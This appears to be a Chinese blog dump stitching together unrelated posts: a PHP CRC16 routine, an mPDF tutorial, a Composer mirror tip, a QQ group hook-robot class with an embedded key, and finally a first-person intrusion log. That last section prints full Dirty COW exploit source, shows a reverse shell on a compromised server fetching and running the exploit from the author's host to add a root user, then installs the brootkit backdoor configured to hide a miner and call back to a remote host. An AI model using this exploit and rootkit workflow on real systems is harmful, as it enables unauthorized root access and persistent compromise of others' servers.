需求

在公司写个智能洗车的东西，大概流程就是车通过扫描进入车库，洗完车在扫描一次出车库。但是写代码的时候发现显示屏通讯协议中的数据需要crc16校验，那就得单独写，php有自带的crc32，就是没有16。

实现代码

function crc16($string, $length = 0) {

    $auchCRCHi = array(0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
        0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
        0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
        0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41,
        0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81,
        0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0,
        0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
        0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40,
        0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
        0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
        0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
        0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
        0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
        0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
        0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
        0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
        0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
        0x40
    );
    $auchCRCLo = array(0x00, 0xC0, 0xC1, 0x01, 0xC3, 0x03, 0x02, 0xC2, 0xC6, 0x06, 0x07, 0xC7, 0x05, 0xC5, 0xC4,
        0x04, 0xCC, 0x0C, 0x0D, 0xCD, 0x0F, 0xCF, 0xCE, 0x0E, 0x0A, 0xCA, 0xCB, 0x0B, 0xC9, 0x09,
        0x08, 0xC8, 0xD8, 0x18, 0x19, 0xD9, 0x1B, 0xDB, 0xDA, 0x1A, 0x1E, 0xDE, 0xDF, 0x1F, 0xDD,
        0x1D, 0x1C, 0xDC, 0x14, 0xD4, 0xD5, 0x15, 0xD7, 0x17, 0x16, 0xD6, 0xD2, 0x12, 0x13, 0xD3,
        0x11, 0xD1, 0xD0, 0x10, 0xF0, 0x30, 0x31, 0xF1, 0x33, 0xF3, 0xF2, 0x32, 0x36, 0xF6, 0xF7,
        0x37, 0xF5, 0x35, 0x34, 0xF4, 0x3C, 0xFC, 0xFD, 0x3D, 0xFF, 0x3F, 0x3E, 0xFE, 0xFA, 0x3A,
        0x3B, 0xFB, 0x39, 0xF9, 0xF8, 0x38, 0x28, 0xE8, 0xE9, 0x29, 0xEB, 0x2B, 0x2A, 0xEA, 0xEE,
        0x2E, 0x2F, 0xEF, 0x2D, 0xED, 0xEC, 0x2C, 0xE4, 0x24, 0x25, 0xE5, 0x27, 0xE7, 0xE6, 0x26,
        0x22, 0xE2, 0xE3, 0x23, 0xE1, 0x21, 0x20, 0xE0, 0xA0, 0x60, 0x61, 0xA1, 0x63, 0xA3, 0xA2,
        0x62, 0x66, 0xA6, 0xA7, 0x67, 0xA5, 0x65, 0x64, 0xA4, 0x6C, 0xAC, 0xAD, 0x6D, 0xAF, 0x6F,
        0x6E, 0xAE, 0xAA, 0x6A, 0x6B, 0xAB, 0x69, 0xA9, 0xA8, 0x68, 0x78, 0xB8, 0xB9, 0x79, 0xBB,
        0x7B, 0x7A, 0xBA, 0xBE, 0x7E, 0x7F, 0xBF, 0x7D, 0xBD, 0xBC, 0x7C, 0xB4, 0x74, 0x75, 0xB5,
        0x77, 0xB7, 0xB6, 0x76, 0x72, 0xB2, 0xB3, 0x73, 0xB1, 0x71, 0x70, 0xB0, 0x50, 0x90, 0x91,
        0x51, 0x93, 0x53, 0x52, 0x92, 0x96, 0x56, 0x57, 0x97, 0x55, 0x95, 0x94, 0x54, 0x9C, 0x5C,
        0x5D, 0x9D, 0x5F, 0x9F, 0x9E, 0x5E, 0x5A, 0x9A, 0x9B, 0x5B, 0x99, 0x59, 0x58, 0x98, 0x88,
        0x48, 0x49, 0x89, 0x4B, 0x8B, 0x8A, 0x4A, 0x4E, 0x8E, 0x8F, 0x4F, 0x8D, 0x4D, 0x4C, 0x8C,
        0x44, 0x84, 0x85, 0x45, 0x87, 0x47, 0x46, 0x86, 0x82, 0x42, 0x43, 0x83, 0x41, 0x81, 0x80,
        0x40
    );
    $length = ($length <= 0 ? strlen($string) : $length);
    $uchCRCHi = 0xFF;
    $uchCRCLo = 0xFF;
    $uIndex = 0;
    for ($i = 0; $i < $length; $i++) {
        $uIndex = $uchCRCLo ^ ord(substr($string, $i, 1));
        $uchCRCLo = $uchCRCHi ^ $auchCRCHi[$uIndex];
        $uchCRCHi = $auchCRCLo[$uIndex];
    }
    return(chr($uchCRCLo) . chr($uchCRCHi));
}

具体使用

$str = "0064FFFFE30901000005000A000000" //15位代加密数据
$s = pack('H*',$str);  //数据处理16进制字符串
$t = $this->crc16($s);  //校验数据结果位A045
$res = unpack("H*", $s.$t);  //由16进制转成字符串
echo $res;  //最终结果0064FFFFE30901000005000A000000A045

mpdf中文开发使用文档附demo实例

官网URL:http://www.mpdf1.com/mpdf/index.php
github:https://github.com/mpdf/mpdf
官方开发手册，英文的：http://www.mpdfonline.com/repos/mpdfmanual.pdf
网页版 https://mpdf.github.io/

安装

官方安装方法是通过composer and its packagist package mpdf/mpdf.

$ composer require mpdf/mpdf

mPDF8中文乱码问题的修复

'autoScriptToLang' => true,
'autoLangToFont' => true,
'useSubstitutions' => true,

示例

$html = <<<EOF
<h3 style="text-align: center;">
    <strong>demo测试</strong>
</h3>
<table>
    <tbody>
        <tr class="firstRow">
            <td width="299" valign="top" style="word-break: break-all;">
                1
            </td>
            <td width="299" valign="top" style="word-break: break-all;">
                2
            </td>
            <td width="299" valign="top" style="word-break: break-all;">
                1
            </td>
            <td width="299" valign="top">
                12
            </td>
        </tr>
        <tr>
            <td width="299" valign="top" style="word-break: break-all;">
                3
            </td>
            <td width="299" valign="top" style="word-break: break-all;">
                1
            </td>
            <td width="299" valign="top" style="word-break: break-all;">
                213
            </td>
            <td width="299" valign="top" style="word-break: break-all;"></td>
        </tr>
    </tbody>
</table>
<p>
    <img src="https://w7file.0cms.vip/images/82/2020/11/BxUV9v9v94E4qVXDqqdB4UX5buxEvK.png" alt="4bc48dd8700da94c923706015368c2d.png" style="max-width: 100%"/>
</p>
<p>
    的空间神佛案件多发卡迪夫安家费哦按实际的发家史的方法论叫阿里打开激发了四道口附近阿拉山口大家法律上的开发啊手动阀手动阀安抚安抚阿斯蒂芬阿斯蒂芬阿斯顿发士大夫阿斯蒂芬阿斯蒂芬阿斯顿阿道夫
</p>
EOF;
        $mpdf = new \Mpdf\Mpdf(['mode'=>'utf-8','format'=>'A4','useSubstitutions'=>true,'useAdobeCJK'=>true,'autoScriptToLang'=>true,'autoLangToFont'=>true,'mgl'=>15,'mgr'=>15,'mgt'=>16,'mgb'=>16,'mgh'=>9,'mgf'=>9, 'orientation'=>'P']);
        $mpdf->WriteHTML($html);
        $mpdf->Output('mpdf.pdf',"D");

最终效果

将源设置为国内镜像

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

# 取消全局配置
composer config -g --unset repos.packagist

妈耶，QQ群出了个机器人的hook，那不得赶紧的用上，想想都美滋滋啊，这样以后通知啥的用hook不就完事了。
这部扎心了么，今天突然退群了，完了 hook是不是用不了了啊

<?php

/**
 * Class QQ_HOOK_ROBOT
 * author 猪在天上飞
 * date 2020/04/13
 * update 2020/04/13
 */
class QQ_HOOK_ROBOT
{
    public static $_instance;
    public static $httpApi;
    public static $message;

    /**
     * @param $array
     */
    public static function setApi($array)
    {
        //hookrobot_api build
        self::$httpApi = $array["api"] . "?" . http_build_query($array["query"]);
        self::init();
    }

    /**
     * 初始化
     * 看腾讯hookrobot后续会新加啥
     */
    public static function init()
    {
        //这样是为了兼容后续腾讯hookrobot会增加参数
        self::$message = array(
            "content" => array()
        );
    }

    /**
     * 设置单实例
     * @param QQ_HOOK_ROBOT $hook
     */
    public static function set(QQ_HOOK_ROBOT $hook)
    {
        self::$_instance = $hook;
    }

    /**
     * 获取单实例
     * @return QQ_HOOK_ROBOT
     */
    public static function get()
    {
        if (empty(self::$_instance)) {
            die("Exception: Single instance is not set");
        }
        return self::$_instance;
    }

    /**
     * @param $msg
     * @param int $type 目前是0，可能后续腾讯hookrobot会有新增加
     */
    public static function setMsg($msg, $type = 0)
    {
        self::$message["content"][] = array(
            "type" => $type,
            "data" => $msg
        );
    }

    /**
     * 发送
     * 第一个是http代号，测试出一直是500
     * 第二个是api返回的内容，现在一直是null
     * @return array
     */
    public static function send()
    {
        $json = json_encode(self::$message);
        // encode 后，就初始化msg
        self::init();
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, self::$httpApi);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $json);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_HTTPHEADER,
            array(
                'Content-Type: application/json; charset=utf-8',
                'Content-Length: ' . strlen($json)
            )
        );
        ob_start();
        curl_exec($ch);
        $return_content = ob_get_contents();
        
        ob_end_clean();
        return array(
            curl_getinfo($ch, CURLINFO_HTTP_CODE),
            $return_content
        );
    }
}

// hookrobot  new 对象，set 单实例
$hook = new QQ_HOOK_ROBOT();
$hook->setApi(
    array(
        //hookrobot_api
        "api" => "https://app.qun.qq.com/cgi-bin/api/hookrobot_send",
        //这样做是为了后续腾讯hookrobot更新的新参数
        "query" => array(
            // 这里是 key，自己改成自己群hook的key
            "key" => "a8ce943a6fd7d48626538a306a74fea1e8fdf9ba"
        )
    )
);
QQ_HOOK_ROBOT::set($hook);

//调用方法 1

//这里添加消息内容  可以多次调用
QQ_HOOK_ROBOT::setMsg("test 1");
QQ_HOOK_ROBOT::setMsg("test 2");

// 最后，添加消息完后，发送
//QQ_HOOK_ROBOT::send();

//或则 打印返回的内容
var_dump(QQ_HOOK_ROBOT::send());


//调用方法 2
// 可以获取hookrobot单实例，类比上面的set
$hook = QQ_HOOK_ROBOT::get();
$hook->setMsg("get test 1");
$hook->setMsg("get test 2");
$hook->send();

一、寻找方法

这是最难的地方，在寻找提权的过程中我都有点想放弃了。

我在百度中寻找这各种方法，有的是SUID，有的是辅助提全工具（这是最坑的，找完之后也不好使，虽然说各种信息各种出）。而且很多都是关于win提权的。

在我打算放弃的时候还是去exploit-db上逛了逛，看看有没有0day这种漏洞存在，黄天不负有心人，终于让我给翻到了。。。。。。。

这东西名字说实话有点古怪，叫“Dirty COW”，说实话脏的一批，原本以为提权当前用户，没想到最脏的是把root删了。。。。

虽然是16年的漏洞，但是在这里，，，，，嘻嘻，，，都懂。 ---------Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' PTRACE_POKEDATA Race Condition Privilege Escalation (/etc/passwd)

其代码为

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//
 
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>
 
const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";
 
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
 
struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};
 
char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}
 
char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}
 
void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}
 
int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }
 
  char ch;
  FILE *source, *target;
 
  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }
 
  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }
 
  printf("%s successfully backed up to %s\n",
    from, to);
 
  fclose(source);
  fclose(target);
 
  return 0;
}
 
int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }
 
  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";
 
  char *plaintext_pw;
 
  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }
 
  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);
 
  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }
 
  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

二、那就开始提权

首先我是在本地编译的，

┌─[invisible@parrot]─[~]
└──╼ $gcc -pthread exp.c -lcrypt -o exploit

然后scp到自己的服务器。这样就方便命令下载了与执行了

在我的服务器中接受到反弹的www权限的shell之后就获取提权文件，然后放置到/tmp下去执行。。。。。

sh-4.1$ wget http://175.19.213.138:1024/vip_video/exploit
wget http://175.19.213.138:1024/vip_video/exploit
--2017-07-24 16:39:34--  http://175.19.213.138:1024/vip_video/exploit
Connecting to 175.19.213.138:1024... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14368 (14K)
Saving to: `exploit'

     0K .......... ....                                       100%  455K=0.03s

2017-07-24 16:39:34 (455 KB/s) - `exploit' saved [14368/14368]


sh-4.1$ ls exploit
ls exploit
exploit
sh-4.1$ ls -l exploit
ls -l exploit
-rw-r--r-- 1 www www 14368 Jul 24 16:38 exploit
sh-4.1$ chmod +x exploit 
chmod +x exploit

接下来就是执行，说实话当时没想到会提权成功，而且结果还下了我一跳

sh-4.1$ ./exploit
./exploit
Please enter the new password: 123456
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fi8RL.Us0cfSs:0:0:pwned:/root:/bin/bash

mmap: 7efcd4fd6000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '123456'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd

可以看到，直接提权成功之后就将root用户替换成firefart了，password也做了备份被放置在/tmp

然后扫了一下端口，22端口还是开放的，直接进。。。。。

三、权限上来之后那就得维权了。。。

之前用过rootkit，是利用加载模块的方式劫持内核函数，有点太高级，正在努力研究。。。。

这里就用brootkit吧，这个是纯脚本的。

配置文件就如下：

[17:12 j0 firefart@iZ25thvdau5Z:t2 ~/brootkit]#cat brsh.conf
cat brsh.conf
HIDE_PORT        22
HIDE_FILE        br
HIDE_PROC        sh,minerd
REMOTE_HOST        invisiblegg.tpddns.cn
REMOTE_PORT        12346
SLEEP_TIME        60
[17:12 j0 firefart@iZ25thvdau5Z:t2 ~/brootkit]#cat br.conf
cat br.conf
#brootkit config file.
#
HIDE_PORT        8080,8899
HIDE_FILE        br.conf,bashbd.sh,brootkit,.bdrc,brdaemon,wzt
HIDE_PROC        bashbd,brootkit,pty.spawn,brdaemon,minerd
REMOTE_HOST        invisiblegg.tpddns.cn
REMOTE_PORT        12346
SLEEP_TIME        60

然后./install.sh放置后门走人